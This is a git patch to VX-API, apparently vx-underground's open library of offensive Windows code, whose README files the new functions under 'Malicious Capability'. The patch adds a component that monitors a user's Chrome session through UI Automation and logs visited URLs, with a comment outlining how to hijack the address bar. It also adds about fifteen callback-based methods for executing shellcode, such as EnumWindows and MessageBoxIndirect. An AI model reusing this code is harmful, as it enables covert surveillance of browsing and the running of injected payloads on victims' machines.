From 6c7a892c91ef7dd52ff2bc3a4ea2f605ea79d88e Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Sat, 29 Oct 2022 00:38:36 -0500 Subject: [PATCH] new code new malcode + helper --- README.md | 6 +- VX-API/GetProcessBinaryNameFromHwnd.cpp | 35 +++ VX-API/Main.cpp | 4 +- VX-API/MpfComMonitorChromeSessionOnce.cpp | 235 ++++++++++++++++++ ...llcodeExecutionViaFunctionCallbackMain.cpp | 116 ++++++++- VX-API/VX-API.vcxproj | 2 + VX-API/VX-API.vcxproj.filters | 6 + VX-API/Win32Helper.h | 22 +- 8 files changed, 415 insertions(+), 11 deletions(-) create mode 100644 VX-API/GetProcessBinaryNameFromHwnd.cpp create mode 100644 VX-API/MpfComMonitorChromeSessionOnce.cpp diff --git a/README.md b/README.md index 00d08b6..75b7a8f 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ managed by [vx-underground](https://vx-underground.org) | follow us on [Twitter] # VX-API -Version: 2.0.285 +Version: 2.0.293 Developer: smelly__vx @@ -109,6 +109,7 @@ You're free to use this in any manner you please. You do not need to use this en | IsDllLoaded | smelly__vx | Helper Functions | | TryLoadDllMultiMethod | smelly__vx | Helper Functions | | CreateThreadAndWaitForCompletion | smelly__vx | Helper Functions | +| GetProcessBinaryNameFromHwndW | smelly__vx | Helper Functions | | GetKUserSharedData | Geoff Chappell | Library Loading | | GetModuleHandleEx2 | smelly__vx | Library Loading | | GetPeb | 29a | Library Loading | @@ -133,6 +134,7 @@ You're free to use this in any manner you please. You do not need to use this en | MpfGetLsaPidFromRegistry | modexp | Malicious Capability | | MpfGetLsaPidFromNamedPipe | modexp | Malicious Capability | | ShellcodeExecutionViaFunctionCallbackMain | alfarom256, aahmad097| Malicious Capability | +| MpfComMonitorChromeSessionOnce | smelly__vx | Malicious Capability | # Todo list @@ -157,6 +159,8 @@ You're free to use this in any manner you please. You do not need to use this en | GetPidFromWindowsTerminalService | TryDllMultiMethod | N/A | | GetCurrentUserSid | TryDllMultiMethod | N/A | | NtQueryOpenSubKeysEx | admin required | N/A | +| GetProcessBinaryNameFromHwndW | make A variant | N/A | +| MpfComMonitorChromeSessionOnce | Usability improvements needed | N/A | | ~~ShellcodeExecViaCertFindChainInStore~~ | ~~Buggy, unstable~~ | October 23rd, 2022 | | ~~RecursiveFindFile~~ | ~~TryDllMultiMethod~~ | October 21th, 2022 | | ~~UrlDownloadToFileSynchronous~~ | ~~TryDllMultiMethod~~ | October 21th, 2022 | diff --git a/VX-API/GetProcessBinaryNameFromHwnd.cpp b/VX-API/GetProcessBinaryNameFromHwnd.cpp new file mode 100644 index 0000000..7e3e364 --- /dev/null +++ b/VX-API/GetProcessBinaryNameFromHwnd.cpp @@ -0,0 +1,35 @@ +#include "Win32Helper.h" + +BOOL GetProcessBinaryNameFromHwndW(_In_ HWND ProcessHwnd, _Inout_ PWCHAR BinaryName, _In_ DWORD BufferSize) +{ + WCHAR Buffer[MAX_PATH * sizeof(WCHAR)] = { 0 }; + DWORD ProcessId = ERROR_SUCCESS; + HANDLE hHandle = NULL; + BOOL bFlag = FALSE; + DWORD dwError = 0; + DWORD dwLength = MAX_PATH * sizeof(WCHAR); + + GetWindowThreadProcessId(ProcessHwnd, &ProcessId); + + hHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ProcessId); + if (hHandle == NULL) + return FALSE; + + if (!QueryFullProcessImageNameW(hHandle, 0, Buffer, &dwLength)) + goto EXIT_ROUTINE; + + if (MAX_PATH * sizeof(WCHAR) > BufferSize) + goto EXIT_ROUTINE; + + if (StringCopyW(BinaryName, Buffer) == NULL) + goto EXIT_ROUTINE; + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hHandle) + CloseHandle(hHandle); + + return bFlag; +} \ No newline at end of file diff --git a/VX-API/Main.cpp b/VX-API/Main.cpp index 7c471c8..3355717 100644 --- a/VX-API/Main.cpp +++ b/VX-API/Main.cpp @@ -45,10 +45,10 @@ int main(VOID) SHELLCODE_EXECUTION_INFORMATION Sei = { 0 }; Sei.Payload = GlobalOpenCalcPayload; Sei.dwLengthOfPayloadInBytes = 277; - Sei.MethodEnum = E_ENUMFONTFAMILIESEXW; + Sei.MethodEnum = E_MESSAGEBOXINDIRECT; ShellcodeExecutionViaFunctionCallbackMain(&Sei); - + //MpfComMonitorChromeSessionOnce(); return dwError; diff --git a/VX-API/MpfComMonitorChromeSessionOnce.cpp b/VX-API/MpfComMonitorChromeSessionOnce.cpp new file mode 100644 index 0000000..14cf378 --- /dev/null +++ b/VX-API/MpfComMonitorChromeSessionOnce.cpp @@ -0,0 +1,235 @@ +#include "Win32Helper.h" +#include +#include +#include + + + +class EventHandler : public IUIAutomationFocusChangedEventHandler +{ +private: + LONG ReferenceIndex; +public: + INT EventIndex; + IUIAutomationElement* Pane = NULL; + IUIAutomationCondition* UrlContext = NULL; + + EventHandler() : ReferenceIndex(1), EventIndex(0) + { + } + + ULONG STDMETHODCALLTYPE AddRef() + { + return InterlockedIncrement(&ReferenceIndex); + } + + ULONG STDMETHODCALLTYPE Release() + { + ULONG Result = InterlockedDecrement(&ReferenceIndex); + if (Result != ERROR_SUCCESS) + return Result; + + if (Pane) + Pane->Release(); + + if (UrlContext) + UrlContext->Release(); + + delete this; + return Result; + } + + HRESULT STDMETHODCALLTYPE QueryInterface(REFIID Riid, PVOID* Interface) + { + if (Riid == __uuidof(IUnknown)) + *Interface = (IUIAutomationFocusChangedEventHandler*)(this); + else if (Riid == __uuidof(IUIAutomationFocusChangedEventHandler)) + *Interface = (IUIAutomationFocusChangedEventHandler*)(this); + else + { + *Interface = NULL; + return E_NOINTERFACE; + } + this->AddRef(); + return S_OK; + } + + HRESULT STDMETHODCALLTYPE HandleFocusChangedEvent(IUIAutomationElement* pSender) + { + HRESULT Result; + IUIAutomationElement* Url = NULL; + IValueProvider* Provider = NULL; + CComVariant Variant; + + EventIndex++; + + Result = Pane->FindFirst(TreeScope_Descendants, UrlContext, &Url); + if (!SUCCEEDED(Result)) + goto EXIT_ROUTINE; + + if(Url == NULL) + goto EXIT_ROUTINE; + + Result = Url->GetCurrentPropertyValue(UIA_ValueValuePropertyId, &Variant); + if (!SUCCEEDED(Result)) + goto EXIT_ROUTINE; + + if (!Variant.bstrVal) + goto EXIT_ROUTINE; + + /* + + + + 1. Gets the current URL + Result = Url->GetCurrentPattern(UIA_ValuePatternId, (IUnknown**)&Provider); + if (!SUCCEEDED(Result)) + goto EXIT_ROUTINE; + + + 2. Modify the URL to whatever you'd like + Provider->SetValue(L"google.com"); + + 3. Send ENTER key to change URL + INPUT Input[2] = { INPUT_KEYBOARD }; + Input[0].ki.wVk = VK_RETURN; + Input[1] = Input[0]; + Input[1].ki.dwFlags |= KEYEVENTF_KEYUP; + SendInput(2, Input, sizeof(INPUT)); + + + OR write to a file?:) + + */ + + wprintf(L"Url: %ws\r\n", Variant.bstrVal); + + EXIT_ROUTINE: + + if (Url) + Url->Release(); + + if (Provider) + Provider->Release(); + + return S_OK; + } +}; + +DWORD MpfComMonitorChromeSessionOnce(VOID) +{ + HWND hChrome = NULL; + DWORD dwError = ERROR_SUCCESS; + INT Length = 0; + BOOL bFlag = FALSE, bHandlerPresent = FALSE; + HRESULT Result = ERROR_SUCCESS; + IUIAutomation *Automaton = NULL; + IUIAutomationElement* Element = NULL; + IUIAutomationCondition* Condition = NULL; + IUIAutomationElementArray* Array = NULL; + EventHandler *EventHandlerObject = NULL; + + + EventHandlerObject = new EventHandler(); + if (!EventHandlerObject) + return -1; + + Result = CoInitializeEx(NULL, COINIT_MULTITHREADED); + if (!SUCCEEDED(Result)) + goto EXIT_ROUTINE; + + for (;;) + { + WCHAR Buffer[MAX_PATH * sizeof(WCHAR)] = { 0 }; + + if (!GetProcessBinaryNameFromHwndW(GetForegroundWindow(), Buffer, MAX_PATH * sizeof(WCHAR))) + continue; + + if (StringFindSubstringW(Buffer, (PWCHAR)L"chrome.exe") != NULL) + break; + } + + hChrome = FindWindowExW(NULL, hChrome, L"Chrome_WidgetWin_1", NULL); + if (hChrome == NULL) + goto EXIT_ROUTINE; + + Result = CoCreateInstance(CLSID_CUIAutomation, NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&Automaton)); + if (!SUCCEEDED(Result)) + goto EXIT_ROUTINE; + + Result = Automaton->ElementFromHandle(hChrome, &Element); + if (!SUCCEEDED(Result)) + goto EXIT_ROUTINE; + + Result = Automaton->CreatePropertyCondition(UIA_ControlTypePropertyId, CComVariant(UIA_PaneControlTypeId), &Condition); + if (!SUCCEEDED(Result)) + goto EXIT_ROUTINE; + + Result = Element->FindAll(TreeScope_Children, Condition, &Array); + if (!SUCCEEDED(Result)) + goto EXIT_ROUTINE; + + Array->get_Length(&Length); + for (INT i = 0; i < Length; i++) + { + CComBSTR NameObject; + + Result = Array->GetElement(i, &EventHandlerObject->Pane); + if (!SUCCEEDED(Result)) + goto EXIT_ROUTINE; + + EventHandlerObject->Pane->get_CurrentName(&NameObject); + if (!SUCCEEDED(Result)) + goto EXIT_ROUTINE; + + if (StringCompareW(NameObject, L"Google Chrome") == ERROR_SUCCESS) + break; + + EventHandlerObject->Pane->Release(); + } + + if (EventHandlerObject->Pane == NULL) + goto EXIT_ROUTINE; + + Result = Automaton->CreatePropertyCondition(UIA_ControlTypePropertyId, CComVariant(UIA_EditControlTypeId), &EventHandlerObject->UrlContext); + if (!SUCCEEDED(Result)) + goto EXIT_ROUTINE; + + Result = Automaton->AddFocusChangedEventHandler(NULL, (IUIAutomationFocusChangedEventHandler*)EventHandlerObject); + if (!SUCCEEDED(Result)) + goto EXIT_ROUTINE; + else + bHandlerPresent = TRUE; + + + for (;;) { Sleep(10); } //let event handler work + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (!bFlag) + dwError = GetLastErrorFromTeb(); + + if (Element) + Element->Release(); + + if (Array) + Array->Release(); + + if (Condition) + Condition->Release(); + + if(bHandlerPresent) + Automaton->RemoveFocusChangedEventHandler((IUIAutomationFocusChangedEventHandler*)EventHandlerObject); + + if (Automaton) + Automaton->Release(); + + if (EventHandlerObject) + EventHandlerObject->Release(); + + CoUninitialize(); + + return dwError; +} \ No newline at end of file diff --git a/VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp b/VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp index bdc1747..716f833 100644 --- a/VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp +++ b/VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp @@ -146,19 +146,121 @@ DWORD ShellcodeExecutionDispatchHandler(LPVOID Param) case E_ENUMFONTFAMILIESEXW: { LOGFONTW Font = { 0 }; - HDC Dc = NULL; - Font.lfCharSet = DEFAULT_CHARSET; - Dc = GetDC(NULL); - if (Dc == NULL) - goto EXIT_ROUTINE; - if (!EnumFontFamiliesExW(Dc, &Font, (FONTENUMPROCW)BinAddress, NULL, NULL)) + if (!EnumFontFamiliesExW(GetDC(NULL), &Font, (FONTENUMPROCW)BinAddress, NULL, NULL)) goto EXIT_ROUTINE; break; } - + + case E_ENUMFONTSW: + { + EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)BinAddress, NULL); + break; + } + + case E_ENUMICMPROFILESW: + { + goto EXIT_ROUTINE; + } + + case E_ENUMLANGUAGEGROUPLOCALESW: + { + EnumLanguageGroupLocalesW((LANGGROUPLOCALE_ENUMPROCW)BinAddress, LGRPID_ARABIC, 0, 0); + break; + } + + case E_ENUMOBJECTS: + { + LOGFONTW Font = { 0 }; + Font.lfCharSet = DEFAULT_CHARSET; + + EnumObjects(GetDC(NULL), OBJ_BRUSH, (GOBJENUMPROC)BinAddress, NULL); + break; + } + + case E_ENUMPROPSEXW: + { + goto EXIT_ROUTINE; + } + + case E_ENUMRESOURCETYPESEXW: + { + EnumResourceTypesExW(NULL, (ENUMRESTYPEPROCW)BinAddress, NULL, RESOURCE_ENUM_VALIDATE, NULL); + break; + } + + case E_ENUMSYSTEMCODEPAGES: + { + EnumSystemCodePagesW((CODEPAGE_ENUMPROCW)BinAddress, CP_INSTALLED); + break; + } + + case E_ENUMSYSTEMGEOID: + { + EnumSystemGeoID(GEOCLASS_NATION, 0, (GEO_ENUMPROC)BinAddress); + break; + } + + case E_ENUMSYSTEMLANGUAGEGROUPS: + { + EnumSystemLanguageGroupsW((LANGUAGEGROUP_ENUMPROCW)BinAddress, LGRPID_SUPPORTED, NULL); + break; + } + + case E_ENUMSYSTEMLOCALESEX: + { + EnumSystemLocalesEx((LOCALE_ENUMPROCEX)BinAddress, LOCALE_ALL, NULL, NULL); + break; + } + + case E_ENUMTHREADWINDOWS: + { + EnumThreadWindows(0, (WNDENUMPROC)BinAddress, NULL); + break; + } + + case E_ENUMTIMEFORMATSEX: + { + EnumTimeFormatsEx((TIMEFMT_ENUMPROCEX)BinAddress, LOCALE_NAME_SYSTEM_DEFAULT, TIME_NOSECONDS, NULL); + break; + } + + case E_ENUMUILANGUAGESW: + { + EnumUILanguagesW((UILANGUAGE_ENUMPROCW)BinAddress, MUI_LANGUAGE_ID, NULL); + break; + } + + case E_ENUMWINDOWSTATIONSW: + { + EnumWindowStationsW((WINSTAENUMPROCW)BinAddress, NULL); + break; + } + + case E_ENUMWINDOWS: + { + EnumWindows((WNDENUMPROC)BinAddress, NULL); + break; + } + + case E_ENUMPROPSW: + { + goto EXIT_ROUTINE; + } + + case E_MESSAGEBOXINDIRECT: + { + MSGBOXPARAMS MessageBoxParams = { 0 }; + MessageBoxParams.cbSize = sizeof(MSGBOXPARAMS); + MessageBoxParams.dwStyle = MB_HELP; + MessageBoxParams.lpfnMsgBoxCallback = (MSGBOXCALLBACK)BinAddress; + MessageBoxParams.lpszText = L"[Unstable] Help Executes Shellcode"; + + MessageBoxIndirect(&MessageBoxParams); + } + default: goto EXIT_ROUTINE; diff --git a/VX-API/VX-API.vcxproj b/VX-API/VX-API.vcxproj index 3ca6453..6bed78e 100644 --- a/VX-API/VX-API.vcxproj +++ b/VX-API/VX-API.vcxproj @@ -183,6 +183,7 @@ + @@ -208,6 +209,7 @@ + diff --git a/VX-API/VX-API.vcxproj.filters b/VX-API/VX-API.vcxproj.filters index 0ffb75e..da4cc9c 100644 --- a/VX-API/VX-API.vcxproj.filters +++ b/VX-API/VX-API.vcxproj.filters @@ -390,6 +390,12 @@ Source Files\Windows API Helper Functions\Malicious Capabilities + + Source Files\Windows API Helper Functions\Malicious Capabilities + + + Source Files\Windows API Helper Functions\Helper Functions + diff --git a/VX-API/Win32Helper.h b/VX-API/Win32Helper.h index e40ec48..dffe150 100644 --- a/VX-API/Win32Helper.h +++ b/VX-API/Win32Helper.h @@ -41,8 +41,26 @@ typedef enum SHELLCODE_EXECUTION_METHOD { E_ENUMDESKTOPSW, //8 E_ENUMDIRTREEW, //9 E_ENUMDISPLAYMONITORS, //10 - E_ENUMFONTFAMILIESEXW //11 + E_ENUMFONTFAMILIESEXW, //11 + E_ENUMFONTSW, //12 + E_ENUMICMPROFILESW, //13 NOT IMPLEMENTED! + E_ENUMLANGUAGEGROUPLOCALESW, //14 + E_ENUMOBJECTS, //15 + E_ENUMPROPSEXW, //16 NOT IMPLEMENTED! + E_ENUMRESOURCETYPESEXW, //17 + E_ENUMSYSTEMCODEPAGES, //18 + E_ENUMSYSTEMGEOID, //19 + E_ENUMSYSTEMLANGUAGEGROUPS, //20 + E_ENUMSYSTEMLOCALESEX, //20 + E_ENUMTHREADWINDOWS, //21 + E_ENUMTIMEFORMATSEX, //22 + E_ENUMUILANGUAGESW, //23 + E_ENUMWINDOWSTATIONSW, //24 + E_ENUMWINDOWS, //25 + E_ENUMPROPSW, //26 NOT IMPLEMENTED! + E_MESSAGEBOXINDIRECT //27 UNSTABLE }SHELLCODE_EXECUTION_METHOD, *PSHELLCODE_EXECUTION_METHOD; + typedef struct __SHELLCODE_EXECUTION_INFORMATION { LPBYTE Payload; DWORD dwLengthOfPayloadInBytes; @@ -153,6 +171,7 @@ BOOL IsDllLoadedA(_In_ LPCSTR DllName); HMODULE TryLoadDllMultiMethodW(_In_ PWCHAR DllName); HMODULE TryLoadDllMultiMethodA(_In_ PCHAR DllName); DWORD CreateThreadAndWaitForCompletion(_In_ LPTHREAD_START_ROUTINE StartAddress, _In_ LPVOID Parameters, _In_ DWORD dwMilliseconds); +BOOL GetProcessBinaryNameFromHwndW(_In_ HWND ProcessHwnd, _Inout_ PWCHAR BinaryName, _In_ DWORD BufferSize); @@ -201,6 +220,7 @@ DWORD MpfGetLsaPidFromRegistry(VOID); DWORD MpfGetLsaPidFromServiceManager(VOID); DWORD MpfGetLsaPidFromNamedPipe(VOID); BOOL ShellcodeExecutionViaFunctionCallbackMain(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); +DWORD MpfComMonitorChromeSessionOnce(VOID);